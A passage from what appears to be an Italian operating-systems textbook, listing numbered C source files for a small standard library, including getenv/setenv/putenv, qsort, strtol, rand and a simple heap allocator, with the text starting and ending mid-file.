3350059             _environment[e] = _environment_table[e];
3350060           }
3350061         _environment[ARG_MAX/32] = NULL;
3350062         //
3350063         // Copy the environment inside the array, but only if `envp' is
3350064         // not NULL.
3350065         //
3350066         if (envp != NULL)
3350067           {
3350068             for (e = 0; envp[e] != NULL && e < ARG_MAX/32; e++)
3350069               {
3350070                 strncpy (_environment_table[e], envp[e], (ARG_MAX/16)-1);
3350071               }
3350072           }
3350073 }
```

120.13.9 lib/stdlib/exit.c

Si veda la sezione 113.7.

```
3360001 #include <stdlib.h>
3360002 #include <stdio.h>
3360003 //----------------------------------------------------------------------
3360004 extern atexit_t _atexit_table[];
3360005 //----------------------------------------------------------------------
3360006 void
3360007 exit (int status)
3360008 {
3360009     int a;
3360010     //
3360011     // The "at exit" functions must be called in reverse order.
3360012     //
3360013     for (a = (ATEXIT_MAX - 1); a >= 0; a--)
3360014       {
3360015         if (_atexit_table[a] != NULL)
```

```
3360016             {
3360017               (*_atexit_table[a]) ();
3360018             }
3360019         }
3360020       //
3360021       // Now: really exit.
3360022       //
3360023       _Exit (status);
3360024       //
3360025       // Should not return from system call, but if it does, loop
3360026       // forever:
3360027       //
3360028       while (1);
3360029   }
```

120.13.10 lib/stdlib/getenv.c

Si veda la sezione 113.51.

```
3370001 #include <stdlib.h>
3370002 #include <string.h>
3370003 //----------------------------------------------------------------------
3370004 extern char *_environment[];
3370005 //----------------------------------------------------------------------
3370006 char *
3370007 getenv (const char *name)
3370008 {
3370009     int   e;        // First index: environment table items.
3370010     int   f;        // Second index: environment string scan.
3370011     char *value;    // Pointer to the environment value found.
3370012     //
3370013     // Check if the input is valid. No error is reported.
3370014     //
3370015     if (name == NULL || strlen (name) == 0)
3370016       {
3370017         return (NULL);
3370018       }
3370019     //
3370020     // Scan the environment table items, with index 'e'. The pointer
3370021     // 'value' is initialized to NULL. If the pointer 'value' gets a
3370022     // valid  pointer, the environment variable was found and a
3370023     // pointer to the beginning of its value is available.
3370024     //
3370025     for (value = NULL, e = 0; e < ARG_MAX/32; e++)
3370026       {
3370027         //
3370028         // Scan the string of the environment item, with index 'f'.
3370029         // The scan continue until 'name[f]' and '_environment[e][f]'
3370030         // are equal.
3370031         //
3370032         for (f = 0;
```

```
3370033                  f < ARG_MAX/16-1 && name[f] == _environment[e][f];
3370034                  f++)
3370035               {
3370036                 ; // Just scan.
3370037               }
3370038             //
3370039             // At this point, 'name[f]' and '_environment[e][f]' are
3370040             // different: if 'name[f]' is zero the name string is
3370041             // terminated; if '_environment[e][f]' is also equal to '=',
3370042             // the environment item is corresponding to the requested name.
3370043             //
3370044             if (name[f] == 0 && _environment[e][f] == '=')
3370045               {
3370046                 //
3370047                 // The pointer to the beginning of the environment value is
3370048                 // calculated, and the external loop exit.
3370049                 //
3370050                 value = &_environment[e][f+1];
3370051                 break;
3370052               }
3370053           }
3370054         //
3370055         // The 'value' is returned: if it is still NULL, then, no
3370056         // environment variable with the requested name was found.
3370057         //
3370058         return (value);
3370059     }
```

120.13.11 lib/stdlib/labs.c

Si veda la sezione 113.3.

```
3380001     #include <stdlib.h>
3380002     //----------------------------------------------------------------------
3380003     long int
3380004     labs (long int j)
3380005     {
3380006         if (j < 0)
3380007           {
3380008             return -j;
3380009           }
3380010         else
3380011           {
3380012             return j;
3380013           }
3380014     }
```

120.13.12 lib/stdlib/ldiv.c

Si veda la sezione 113.16.

```
3390001 #include <stdlib.h>
3390002 //----------------------------------------------------------------------
3390003 ldiv_t
3390004 ldiv (long int numer, long int denom)
3390005 {
3390006     ldiv_t d;
3390007     d.quot = numer / denom;
3390008     d.rem = numer % denom;
3390009     return d;
3390010 }
```

120.13.13 lib/stdlib/llabs.c

Si veda la sezione 113.3.

```
3400001 #include <stdlib.h>
3400002 //----------------------------------------------------------------------
3400003 long long int
3400004 llabs (long long int j)
3400005 {
3400006     if (j < 0)
3400007       {
3400008         return -j;
3400009       }
3400010     else
3400011       {
3400012         return j;
3400013       }
3400014 }
```

120.13.14 lib/stdlib/lldiv.c

Si veda la sezione 113.16.

```
3410001 #include <stdlib.h>
3410002 //----------------------------------------------------------------------
3410003 lldiv_t
3410004 lldiv (long long int numer, long long int denom)
3410005 {
3410006     lldiv_t d;
3410007     d.quot = numer / denom;
3410008     d.rem = numer % denom;
3410009     return d;
3410010 }
```

120.13.15 lib/stdlib/putenv.c

Si veda la sezione 113.87.

```
3420001 #include <stdlib.h>
3420002 #include <string.h>
3420003 #include <errno.h>
3420004 //----------------------------------------------------------------------
3420005 extern char *_environment[];
3420006 //----------------------------------------------------------------------
3420007 int
3420008 putenv (const char *string)
3420009 {
3420010     int    e;         // First index: environment table items.
3420011     int    f;         // Second index: environment string scan.
3420012     //
3420013     // Check if the input is empty. No error is reported.
3420014     //
3420015     if (string == NULL || strlen (string) == 0)
3420016       {
3420017         return (0);
3420018       }
3420019     //
3420020     // Check if the input is valid: there must be a '=' sign.
3420021     // Error here is reported.
3420022     //
3420023     if (strchr (string, '=') == NULL)
3420024       {
3420025         errset (EINVAL);                    // Invalid argument.
3420026         return (-1);
3420027       }
3420028     //
3420029     // Scan the environment table items, with index 'e'. The intent is
3420030     // to find a previous environment variable with the same name.
3420031     //
3420032     for (e = 0; e < ARG_MAX/32; e++)
3420033       {
3420034         //
3420035         // Scan the string of the environment item, with index 'f'.
3420036         // The scan continue until 'string[f]' and '_environment[e][f]'
3420037         // are equal.
3420038         //
3420039         for (f = 0;
3420040              f < ARG_MAX/16-1 && string[f] == _environment[e][f];
3420041              f++)
3420042           {
3420043             ; // Just scan.
3420044           }
3420045         //
3420046         // At this point, 'string[f-1]' and '_environment[e][f-1]'
3420047         // should contain '='. If it is so, the environment is replaced.
3420048         //
3420049         if (string[f-1] == '=' && _environment[e][f-1] == '=')
```

```
3420050            {
3420051              //
3420052              // The environment item was found: now replace the pointer.
3420053              //
3420054              _environment[e] = (char *) string;
3420055              //
3420056              // Return.
3420057              //
3420058              return (0);
3420059            }
3420060        }
3420061      //
3420062      // The item was not found. Scan again for a free slot.
3420063      //
3420064      for (e = 0; e < ARG_MAX/32; e++)
3420065        {
3420066          if (_environment[e] == NULL || _environment[e][0] == 0)
3420067            {
3420068              //
3420069              // An empty item was found and the pointer will be
3420070              // replaced.
3420071              //
3420072              _environment[e] = (char *) string;
3420073              //
3420074              // Return.
3420075              //
3420076              return (0);
3420077            }
3420078        }
3420079      //
3420080      // Sorry: the empty slot was not found!
3420081      //
3420082      errset (ENOMEM);            // Not enough space.
3420083      return (-1);
3420084  }
```

120.13.16 lib/stdlib/qsort.c

Si veda la sezione 113.89.

```
3430001  #include <stdlib.h>
3430002  #include <string.h>
3430003  #include <errno.h>
3430004  //------------------------------------------------------------------------
3430005  static int  part (char *array, size_t size, int a, int z,
3430006                    int (*compare)(const void *, const void *));
3430007  static void sort (char *array, size_t size, int a, int z,
3430008                    int (*compare)(const void *, const void *));
3430009  //------------------------------------------------------------------------
3430010  void
3430011  qsort (void *base, size_t nmemb, size_t size,
```

```
3430012         int (*compare)(const void *, const void *))
3430013 {
3430014     if (size <= 1)
3430015       {
3430016         //
3430017         // There is nothing to sort!
3430018         //
3430019         return;
3430020       }
3430021     else
3430022       {
3430023         sort ((char *) base, size, 0, (int) (nmemb - 1), compare);
3430024       }
3430025 }
3430026 //----------------------------------------------------------------------
3430027 static void
3430028 sort (char *array, size_t size, int a, int z,
3430029       int (*compare)(const void *, const void *))
3430030 {
3430031     int loc;
3430032     //
3430033     if (z > a)
3430034       {
3430035         loc = part (array, size, a, z, compare);
3430036         if (loc >= 0)
3430037           {
3430038             sort (array, size, a, loc-1, compare);
3430039             sort (array, size, loc+1, z, compare);
3430040           }
3430041       }
3430042 }
3430043 
3430044 //----------------------------------------------------------------------
3430045 static int
3430046 part (char *array, size_t size, int a, int z,
3430047       int (*compare)(const void *, const void *))
3430048 {
3430049     int   i;
3430050     int   loc;
3430051     char *swap;
3430052     //
3430053     if (z <= a)
3430054       {
3430055         errset (EUNKNOWN);       // Should never happen.
3430056         return (-1);
3430057       }
3430058     //
3430059     // Index 'i' after the first element; index 'loc' at the last
3430060     // position.
3430061     //
3430062     i   = a + 1;
3430063     loc = z;
```

```
3430064         //
3430065         // Prepare space in memory for element swap.
3430066         //
3430067         swap = malloc (size);
3430068         if (swap == NULL)
3430069           {
3430070             errset (ENOMEM);
3430071             return (-1);
3430072           }
3430073         //
3430074         // Loop as long as index 'loc' is higher than index 'i'.
3430075         // When index 'loc' is less or equal to index 'i',
3430076         // then, index 'loc' is the right position for the
3430077         // first element of the current piece of array.
3430078         //
3430079         for (;;)
3430080           {
3430081             //
3430082             // Index 'i' goes up...
3430083             //
3430084             for (;i < loc; i++)
3430085               {
3430086                 if  (compare (&array[i*size], &array[a*size]) > 0)
3430087                   {
3430088                     break;
3430089                   }
3430090               }
3430091             //
3430092             // Index 'loc' gose down...
3430093             //
3430094             for (;; loc--)
3430095               {
3430096                 if  (compare (&array[loc*size], &array[a*size]) <= 0)
3430097                   {
3430098                     break;
3430099                   }
3430100               }
3430101             //
3430102             // Swap elements related to index 'i' and 'loc'.
3430103             //
3430104             if (loc <= i)
3430105               {
3430106                 //
3430107                 // The array is completely scanned.
3430108                 //
3430109                 break;
3430110               }
3430111             else
3430112               {
3430113                 memcpy (swap, &array[loc*size], size);
3430114                 memcpy (&array[loc*size], &array[i*size], size);
3430115                 memcpy (&array[i*size], swap, size);
```

```
3430116            }
3430117        }
3430118      //
3430119      // Swap the first element with the one related to the
3430120      // index 'loc'.
3430121      //
3430122      memcpy (swap, &array[loc*size], size);
3430123      memcpy (&array[loc*size], &array[a*size], size);
3430124      memcpy (&array[a*size], swap, size);
3430125      //
3430126      // Free the swap memory.
3430127      //
3430128      free (swap);
3430129      //
3430130      // Return the index 'loc'.
3430131      //
3430132      return (loc);
3430133  }
3430134
```

120.13.17 lib/stdlib/rand.c

Si veda la sezione 113.90.

```
3440001  #include <stdlib.h>
3440002  //------------------------------------------------------------------------
3440003  static unsigned int _srand = 1; // The '_srand' rank must be at least
3440004                                  // 'unsigned int' and must be able to
3440005                                  // represent the value 'RAND_MAX'.
3440006  //------------------------------------------------------------------------
3440007  int
3440008  rand (void)
3440009  {
3440010      _srand = _srand * 12345 + 123;
3440011      return _srand % ((unsigned int) RAND_MAX + 1);
3440012  }
3440013  //------------------------------------------------------------------------
3440014  void
3440015  srand (unsigned int seed)
3440016  {
3440017      _srand = seed;
3440018  }
```

120.13.18 lib/stdlib/setenv.c

Si veda la sezione 113.97.

```
3450001 #include <stdlib.h>
3450002 #include <string.h>
3450003 #include <errno.h>
3450004 //----------------------------------------------------------------------
3450005 extern char *_environment[];
3450006 extern char *_environment_table[];
3450007 //----------------------------------------------------------------------
3450008 int
3450009 setenv (const char *name, const char *value, int overwrite)
3450010 {
3450011     int    e;         // First index: environment table items.
3450012     int    f;         // Second index: environment string scan.
3450013     //
3450014     // Check if the input is empty. No error is reported.
3450015     //
3450016     if (name == NULL || strlen (name) == 0)
3450017       {
3450018         return (0);
3450019       }
3450020     //
3450021     // Check if the input is valid: error here is reported.
3450022     //
3450023     if (strchr (name, '=') != NULL)
3450024       {
3450025         errset(EINVAL);                    // Invalid argument.
3450026         return (-1);
3450027       }
3450028     //
3450029     // Check if the input is too big.
3450030     //
3450031     if ((strlen (name) + strlen (value) + 2) > ARG_MAX/16)
3450032       {
3450033         //
3450034         // The environment to be saved is bigger than the
3450035         // available string size, inside '_environment_table[]'.
3450036         //
3450037         errset (ENOMEM);                   // Not enough space.
3450038         return (-1);
3450039       }
3450040     //
3450041     // Scan the environment table items, with index 'e'. The intent is
3450042     // to find a previous environment variable with the same name.
3450043     //
3450044     for (e = 0; e < ARG_MAX/32; e++)
3450045       {
3450046         //
3450047         // Scan the string of the environment item, with index 'f'.
3450048         // The scan continue until 'name[f]' and '_environment[e][f]'
3450049         // are equal.
```

```
3450050            //
3450051            for (f = 0;
3450052                 f < ARG_MAX/16-1 && name[f] == _environment[e][f];
3450053                 f++)
3450054              {
3450055                ; // Just scan.
3450056              }
3450057            //
3450058            // At this point, 'name[f]' and '_environment[e][f]' are
3450059            // different: if 'name[f]' is zero the name string is
3450060            // terminated; if '_environment[e][f]' is also equal to '=',
3450061            // the environment item is corresponding to the requested name.
3450062            //
3450063            if (name[f] == 0 && _environment[e][f] == '=')
3450064              {
3450065                //
3450066                // The environment item was found; if it can be overwritten,
3450067                // the write is done.
3450068                //
3450069                if (overwrite)
3450070                  {
3450071                    //
3450072                    // To be able to handle both 'setenv()' and 'putenv()',
3450073                    // before removing the item, it is fixed the pointer to
3450074                    // the global environment table.
3450075                    //
3450076                    _environment[e] = _environment_table[e];
3450077                    //
3450078                    // Now copy the new environment. The string size was
3450079                    // already checked.
3450080                    //
3450081                    strcpy (_environment[e], name);
3450082                    strcat (_environment[e], "=");
3450083                    strcat (_environment[e], value);
3450084                    //
3450085                    // Return.
3450086                    //
3450087                    return (0);
3450088                  }
3450089                //
3450090                // Cannot overwrite!
3450091                //
3450092                errset (EUNKNOWN);
3450093                return (-1);
3450094              }
3450095          }
3450096        //
3450097        // The item was not found. Scan again for a free slot.
3450098        //
3450099        for (e = 0; e < ARG_MAX/32; e++)
3450100          {
3450101            if (_environment[e] == NULL || _environment[e][0] == 0)
```

```
3450102             {
3450103               //
3450104               // An empty item was found. To be able to handle both
3450105               // `setenv()' and `putenv()', it is fixed the pointer to
3450106               // the global environment table.
3450107               //
3450108               _environment[e] = _environment_table[e];
3450109               //
3450110               // Now copy the new environment. The string size was
3450111               // already checked.
3450112               //
3450113               strcpy (_environment[e], name);
3450114               strcat (_environment[e], "=");
3450115               strcat (_environment[e], value);
3450116               //
3450117               // Return.
3450118               //
3450119               return (0);
3450120             }
3450121         }
3450122       //
3450123       // Sorry: the empty slot was not found!
3450124       //
3450125       errset (ENOMEM);             // Not enough space.
3450126       return (-1);
3450127   }
```

120.13.19 lib/stdlib/strtol.c

Si veda la sezione 113.123.

```
3460001   #include <stdlib.h>
3460002   #include <ctype.h>
3460003   #include <errno.h>
3460004   #include <limits.h>
3460005   #include <stdbool.h>
3460006   //----------------------------------------------------------------------
3460007   #define isoctal(C)   ((int) (C >= '0' && C <= '7'))
3460008   //----------------------------------------------------------------------
3460009   long int
3460010   strtol (const char *restrict string, char **restrict endptr, int base)
3460011   {
3460012       int       i;
3460013       int       sign = +1;
3460014       long int number;
3460015       long int previous;
3460016       int       digit;
3460017       //
3460018       bool      flag_prefix_oct = 0;
3460019       bool      flag_prefix_exa = 0;
3460020       bool      flag_prefix_dec = 0;
```

```
3460021     //
3460022     // Check base and string.
3460023     //
3460024     if (base < 0
3460025      || base > 36
3460026      || base == 1              // With base 1 cannot do anything.
3460027      || string == NULL
3460028      || string[0] == 0)
3460029       {
3460030         if (endptr != NULL) *endptr = (char *) string;
3460031         errset (EINVAL);                // Invalid argument.
3460032         return ((long int) 0);
3460033       }
3460034     //
3460035     // Eat initial spaces.
3460036     //
3460037     for (i = 0; isspace (string[i]); i++)
3460038       {
3460039         ;
3460040       }
3460041     //
3460042     // Check sign.
3460043     //
3460044     if (string[i] == '+')
3460045       {
3460046         sign = +1;
3460047         i++;
3460048       }
3460049     else if (string[i] == '-')
3460050       {
3460051         sign = -1;
3460052         i++;
3460053       }
3460054     //
3460055     // Check for prefix.
3460056     //
3460057     if (string[i] == '0')
3460058       {
3460059         if (string[i+1] == 'x' || string[i+1] == 'X')
3460060           {
3460061             flag_prefix_exa = 1;
3460062           }
3460063         else if (isoctal (string[i+1]))
3460064           {
3460065             flag_prefix_oct = 1;
3460066           }
3460067         else
3460068           {
3460069             flag_prefix_dec = 1;
3460070           }
3460071       }
3460072     else if (isdigit (string[i]))
```

```
3460073         {
3460074           flag_prefix_dec = 1;
3460075         }
3460076       //
3460077       // Check compatibility with requested base.
3460078       //
3460079       if (flag_prefix_exa)
3460080         {
3460081           //
3460082           // At the moment, there is a zero and a 'x'. Might be
3460083           // exadecimal, or might be a number base 33 or more.
3460084           //
3460085           if (base == 0)
3460086             {
3460087               base = 16;
3460088             }
3460089           else if (base == 16)
3460090             {
3460091               ;   // Ok.
3460092             }
3460093           else if (base >= 33)
3460094             {
3460095               ;   // Ok.
3460096             }
3460097           else
3460098             {
3460099               //
3460100               // Incompatible sequence: only the initial zero is reported.
3460101               //
3460102               if (endptr != NULL) *endptr = (char *) &string[i+1];
3460103               return ((long int) 0);
3460104             }
3460105           //
3460106           // Move on, after the '0x' prefix.
3460107           //
3460108           i += 2;
3460109         }
3460110       //
3460111       if (flag_prefix_oct)
3460112         {
3460113           //
3460114           // There is a zero and a digit.
3460115           //
3460116           if (base == 0)
3460117             {
3460118               base = 8;
3460119             }
3460120           //
3460121           // Move on, after the '0' prefix.
3460122           //
3460123           i += 1;
3460124         }
```

```
3460125         //
3460126         if (flag_prefix_dec)
3460127           {
3460128             if (base == 0)
3460129               {
3460130                 base = 10;
3460131               }
3460132           }
3460133         //
3460134         // Scan the string.
3460135         //
3460136         for (number = 0; string[i] != 0; i++)
3460137           {
3460138             if      (string[i] >= '0' && string[i] <= '9')
3460139               {
3460140                 digit = string[i] - '0';
3460141               }
3460142             else if (string[i] >= 'A' && string[i] <= 'Z')
3460143               {
3460144                 digit = string[i] - 'A' + 10;
3460145               }
3460146             else if (string[i] >= 'a' && string[i] <= 'z')
3460147               {
3460148                 digit = string[i] - 'a' + 10;
3460149               }
3460150             else
3460151               {
3460152                 //
3460153                 // This is an out of range digit.
3460154                 //
3460155                 digit = 999;
3460156               }
3460157             //
3460158             // Give a sign to the digit.
3460159             //
3460160             digit *= sign;
3460161             //
3460162             // Compare with the base.
3460163             //
3460164             if (base > (digit * sign))
3460165               {
3460166                 //
3460167                 // Check if the current digit can be safely computed.
3460168                 //
3460169                 previous = number;
3460170                 number  *= base;
3460171                 number  += digit;
3460172                 if (number / base != previous)
3460173                   {
3460174                     //
3460175                     // Out of range.
3460176                     //
```

```
3460177                 if (endptr != NULL) *endptr = (char *) &string[i+1];
3460178                 errset (ERANGE);        // Result too large.
3460179                 if (sign > 0)
3460180                   {
3460181                     return (LONG_MAX);
3460182                   }
3460183                 else
3460184                   {
3460185                     return (LONG_MIN);
3460186                   }
3460187               }
3460188           }
3460189         else
3460190           {
3460191             if (endptr != NULL) *endptr = (char *) &string[i];
3460192             return (number);
3460193           }
3460194       }
3460195     //
3460196     // The string is finished.
3460197     //
3460198     if (endptr != NULL) *endptr = (char *) &string[i];
3460199     //
3460200     return (number);
3460201 }
```

120.13.20 lib/stdlib/strtoul.c

Si veda la sezione 113.123.

```
3470001 #include <stdlib.h>
3470002 #include <ctype.h>
3470003 #include <errno.h>
3470004 #include <limits.h>
3470005 //----------------------------------------------------------------------
3470006 // A really poor implementation. ,-(
3470007 //
3470008 unsigned long int
3470009 strtoul (const char *restrict string, char **restrict endptr, int base)
3470010 {
3470011     return ((unsigned long int) strtol (string, endptr, base));
3470012 }
```

120.13.21 lib/stdlib/unsetenv.c

Si veda la sezione 113.97.

```
3480001 #include <stdlib.h>
3480002 #include <string.h>
3480003 #include <errno.h>
3480004 //----------------------------------------------------------------------
3480005 extern char *_environment[];
3480006 extern char *_environment_table[];
3480007 //----------------------------------------------------------------------
3480008 int
3480009 unsetenv (const char *name)
3480010 {
3480011     int   e;        // First index: environment table items.
3480012     int   f;        // Second index: environment string scan.
3480013     //
3480014     // Check if the input is empty. No error is reported.
3480015     //
3480016     if (name == NULL || strlen (name) == 0)
3480017       {
3480018         return (0);
3480019       }
3480020     //
3480021     // Check if the input is valid: error here is reported.
3480022     //
3480023     if (strchr (name, '=') != NULL)
3480024       {
3480025         errset(EINVAL);                 // Invalid argument.
3480026         return (-1);
3480027       }
3480028     //
3480029     // Scan the environment table items, with index 'e'.
3480030     //
3480031     for (e = 0; e < ARG_MAX/32; e++)
3480032       {
3480033         //
3480034         // Scan the string of the environment item, with index 'f'.
3480035         // The scan continue until 'name[f]' and '_environment[e][f]'
3480036         // are equal.
3480037         //
3480038         for (f = 0;
3480039              f < ARG_MAX/16-1 && name[f] == _environment[e][f];
3480040              f++)
3480041           {
3480042             ; // Just scan.
3480043           }
3480044         //
3480045         // At this point, 'name[f]' and '_environment[e][f]' are
3480046         // different: if 'name[f]' is zero the name string is
3480047         // terminated; if '_environment[e][f]' is also equal to '=',
3480048         // the environment item is corresponding to the requested name.
3480049         //
```

```
3480050         if (name[f] == 0 && _environment[e][f] == '=')
3480051           {
3480052             //
3480053             // The environment item was found and it have to be removed.
3480054             // To be able to handle both `setenv()' and `putenv()',
3480055             // before removing the item, it is fixed the pointer to
3480056             // the global environment table.
3480057             //
3480058             _environment[e] = _environment_table[e];
3480059             //
3480060             // Now remove the environment item.
3480061             //
3480062             _environment[e][0] = 0;
3480063             break;
3480064           }
3480065       }
3480066     //
3480067     // Work done fine.
3480068     //
3480069     return (0);
3480070 }
```

120.13.22 lib/stdlib_alloc/_alloc_list.c

Si veda la sezione 113.71.

```
3490001 #include <stdlib.h>
3490002 #include <stdio.h>
3490003 #include <unistd.h>
3490004 #include <stdint.h>
3490005 //----------------------------------------------------------------------
3490006 extern uintptr_t _alloc_start;
3490007 //----------------------------------------------------------------------
3490008 void
3490009 _alloc_list (void)
3490010 {
3490011     uintptr_t      start = _alloc_start;
3490012     uintptr_t      end   = (uintptr_t) sbrk (0);
3490013     _alloc_head_t *head  = (void *) start;
3490014     size_t         actual_size;
3490015     uintptr_t      current;
3490016     uintptr_t      next;
3490017     uintptr_t      up_to;
3490018     int            counter;
3490019     //
3490020     // Scandisce la lista di blocchi di memoria.
3490021     //
3490022     counter = 2;
3490023     while (counter)
3490024       {
3490025         //
```

```
3490026             // Annota la posizione attuale e quella successiva.
3490027             //
3490028             current = (uintptr_t) head;
3490029             next    = head->next * (sizeof (_alloc_head_t));
3490030             if (next == start)
3490031               {
3490032                 up_to = end;
3490033               }
3490034             else
3490035               {
3490036                 up_to = next;
3490037               }
3490038             //
3490039             // Se è stato raggiunto il primo elemento, decrementa il
3490040             // contatore di una unità. Se è già a zero, esce.
3490041             //
3490042             if (current == start)
3490043               {
3490044                 counter--;
3490045                 if (counter == 0) break;
3490046               }
3490047             //
3490048             // Determina la dimensione del blocco attuale.
3490049             //
3490050             if (current == start && next == start)
3490051               {
3490052                 //
3490053                 // Si tratta del primo e unico elemento della lista.
3490054                 //
3490055                 actual_size = end - start - (sizeof (_alloc_head_t));
3490056               }
3490057             else
3490058               {
3490059                 actual_size = up_to - current - (sizeof (_alloc_head_t));
3490060               }
3490061             //
3490062             // Si mostra lo stato del blocco di memoria.
3490063             //
3490064             if (head->allocated)
3490065               {
3490066                 printf ("[%s] used %08X..%08X size %08zX\n",
3490067                         __func__,
3490068                         current + (sizeof (_alloc_head_t)),
3490069                         up_to, actual_size);
3490070               }
3490071             else
3490072               {
3490073                 printf ("[%s] free %08X..%08X size %08zX\n",
3490074                         __func__,
3490075                         current + (sizeof (_alloc_head_t)),
3490076                         up_to, actual_size);
3490077               }
```

```
3490078             //
3490079             // Si passa alla posizione successiva.
3490080             //
3490081             head = (void *) next;
3490082           }
3490083 }
```

120.13.23 lib/stdlib_alloc/free.c

Si veda la sezione 113.71.

```
3500001 #include <stdlib.h>
3500002 #include <stdio.h>
3500003 #include <unistd.h>
3500004 //----------------------------------------------------------------------
3500005 extern uintptr_t _alloc_start;
3500006 //----------------------------------------------------------------------
3500007 void
3500008 free (void *ptr)
3500009 {
3500010     _alloc_head_t *start        = (_alloc_head_t *) _alloc_start;
3500011     _alloc_head_t *head_current = ((_alloc_head_t *) ptr) - 1;
3500012     _alloc_head_t *head_next;
3500013     //
3500014     // Verifica il blocco attuale e, se è possibile, lo libera.
3500015     //
3500016     if (head_current->allocated == 1)
3500017       {
3500018         head_current->allocated = 0;
3500019       }
3500020     else
3500021       {
3500022         printf ("[%s] ERROR: cannot free %08X!\n",
3500023                 __func__,
3500024                 (uintptr_t) head_current + (sizeof (_alloc_head_t)));
3500025       }
3500026     //
3500027     // Scandisce i blocchi liberi, cercando quelli adiacenti per
3500028     // allungarli. Se il blocco successivo è il primo, termina,
3500029     // perché non può avvenire alcuna fusione con quello precedente.
3500030     //
3500031     head_current = start;
3500032     while (1)
3500033       {
3500034         //
3500035         // Individua il blocco successivo.
3500036         //
3500037         head_next = (_alloc_head_t *) (  head_current->next
3500038                                        * (sizeof (_alloc_head_t)));
3500039         //
3500040         // Controlla se è il primo.
```

```
3500041         //
3500042         if (head_next == start)
3500043           {
3500044             break;
3500045           }
3500046         //
3500047         //
3500048         //
3500049         if (head_current->allocated == 0)
3500050           {
3500051             //
3500052             // Controlla se si può espandere.
3500053             //
3500054             if (head_next->allocated == 0)
3500055               {
3500056                 head_current->next = head_next->next;
3500057               }
3500058             else
3500059               {
3500060                 head_current = head_next;
3500061               }
3500062           }
3500063         else
3500064           {
3500065             head_current = (_alloc_head_t *)
3500066                            (  head_current->next
3500067                             * (sizeof (_alloc_head_t)));
3500068           }
3500069       }
3500070 }
```

120.13.24 lib/stdlib_alloc/malloc.c

Si veda la sezione 113.71.

```
3510001 #include <stdlib.h>
3510002 #include <unistd.h>
3510003 #include <errno.h>
3510004 //----------------------------------------------------------------------
3510005 uintptr_t _alloc_start = 0;
3510006 //----------------------------------------------------------------------
3510007 static int   _alloc_init (void);
3510008 static void *_malloc     (size_t size);
3510009 //----------------------------------------------------------------------
3510010 void *
3510011 malloc (size_t size)
3510012 {
3510013   void *pstatus;
3510014   int   status;
3510015   //
3510016   // Verify to have initialized the allocation memory.
```

```
3510017     //
3510018     if (_alloc_start == 0)
3510019       {
3510020         status = _alloc_init ();
3510021         if (status < 0)
3510022           {
3510023             errset (ENOMEM);
3510024             return (NULL);
3510025           }
3510026       }
3510027     //
3510028     // Try to allocate as usual.
3510029     //
3510030     pstatus = _malloc (size);
3510031     //
3510032     if (pstatus == NULL)
3510033       {
3510034         //
3510035         // Try to increase memory for the process.
3510036         //
3510037         pstatus = sbrk (size);
3510038         if (pstatus == NULL)
3510039           {
3510040             //
3510041             // Sorry: no way to get memory.
3510042             //
3510043             errset (ENOMEM);
3510044             return (NULL);
3510045           }
3510046         //
3510047         // Ok. Now try again to allocate memory.
3510048         //
3510049         return (_malloc (size));
3510050       }
3510051     else
3510052       {
3510053         //
3510054         // The first allocation was successful.
3510055         //
3510056         return (pstatus);
3510057       }
3510058   }
3510059   //----------------------------------------------------------------------
3510060   static int
3510061   _alloc_init (void)
3510062   {
3510063     uintptr_t      start;
3510064     uintptr_t      end;
3510065     _alloc_head_t *head;
3510066     size_t         available;
3510067     //
3510068     // Get size.
```

```
3510069     //
3510070     if (_alloc_start == 0)
3510071       {
3510072         _alloc_start = (uintptr_t) sbrk (0);
3510073       }
3510074     //
3510075     start     = _alloc_start;
3510076     end       = (uintptr_t) sbrk (0);
3510077     available = end - start;
3510078     //
3510079     // Check available space.
3510080     //
3510081     if (available < ((sizeof (_alloc_head_t)) * 2))
3510082       {
3510083         //
3510084         // Try to get a little memory.
3510085         //
3510086         sbrk ((sizeof (_alloc_head_t)) * 2);
3510087         end = (uintptr_t) sbrk (0);
3510088         available = end - start;
3510089         if (available < ((sizeof (_alloc_head_t)) * 2))
3510090           {
3510091             //
3510092             // Sorry!
3510093             //
3510094             return (-1);
3510095           }
3510096       }
3510097     //
3510098     // Prepare the list main node.
3510099     //
3510100     head = (_alloc_head_t *) start;
3510101     //
3510102     // Init the first free block, that points to itself, as it is
3510103     // the only one.
3510104     //
3510105     head->allocated = 0;
3510106     head->next      = (start / (sizeof (_alloc_head_t)));
3510107     //
3510108     // Ok.
3510109     //
3510110     return (0);
3510111   }
3510112   //----------------------------------------------------------------------
3510113   static void *
3510114   _malloc (size_t size)
3510115   {
3510116     uintptr_t  start = _alloc_start;
3510117     uintptr_t  end   = (uintptr_t) sbrk (0);
3510118     _alloc_head_t *head  = (void *) start;
3510119     size_t     actual_size;
3510120     uintptr_t  current;
```

```
3510121     uintptr_t  next;
3510122     uintptr_t  new;
3510123     uintptr_t  up_to;
3510124     int        counter;
3510125     //
3510126     // Arrotonda in eccesso il valore di «size», in modo che sia un
3510127     // multiplo della dimensione di «_alloc_head_t». Altrimenti, la
3510128     // collocazione dei blocchi successivi può avvenire in modo
3510129     // non allineato.
3510130     //
3510131     size = (size + (sizeof (_alloc_head_t)) -1);
3510132     size = size / (sizeof (_alloc_head_t));
3510133     size = size * (sizeof (_alloc_head_t));
3510134     //
3510135     // Cerca un blocco libero di dimensione sufficiente.
3510136     //
3510137     counter = 2;
3510138     while (counter)
3510139       {
3510140         //
3510141         // Annota la posizione attuale e quella successiva.
3510142         //
3510143         current = (uintptr_t) head;
3510144         next    = head->next * (sizeof (_alloc_head_t));
3510145         //
3510146         if (next == start)
3510147           {
3510148             up_to = end;
3510149           }
3510150         else
3510151           {
3510152             up_to = next;
3510153           }
3510154         //
3510155         // Se è stato raggiunto il primo elemento, decrementa il
3510156         // contatore di una unità. Se è già a zero, esce.
3510157         //
3510158         if (current == start)
3510159           {
3510160             counter--;
3510161             if (counter == 0) break;
3510162           }
3510163         //
3510164         // Controlla se si tratta di un blocco libero.
3510165         //
3510166
3510167         if (! head->allocated)
3510168           {
3510169             //
3510170             // Il blocco è libero: si deve determinarne la dimensione.
3510171             //
3510172             if (current == start && next == start)
```

```
3510173                 {
3510174                   //
3510175                   // Si tratta del primo e unico elemento della lista.
3510176                   //
3510177                   actual_size = end - start - (sizeof (_alloc_head_t));
3510178                 }
3510179               else
3510180                 {
3510181                   actual_size = up_to - current - (sizeof (_alloc_head_t));
3510182                 }
3510183               //
3510184               // Si verifica che sia capiente.
3510185               //
3510186               if (actual_size >= size + ((sizeof (_alloc_head_t)) * 2))
3510187                 {
3510188                   //
3510189                   // C'è spazio per dividere il blocco.
